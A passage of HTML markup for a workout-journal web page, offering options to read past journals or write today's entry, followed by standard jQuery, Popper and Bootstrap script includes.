class="select-option">                    <div class="read-journal" onclick="redirectToReadJournal()">                        <img src="./assets/read.jpg" alt="">                        <p>Read your past workout journals.</p>                    </div>                    <div class="write-journal" onclick="redirectToWriteJournal()">                        <img src="./assets/write.jpg" alt="">                        <p>Write your todays journal.</p>                    </div>                </div>            </div>        </div>                <script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"></script>        <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"></script>        <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.min.js"></script>                <script src="./assets/script.js"></script>    </body>    </html>

Tag

#windows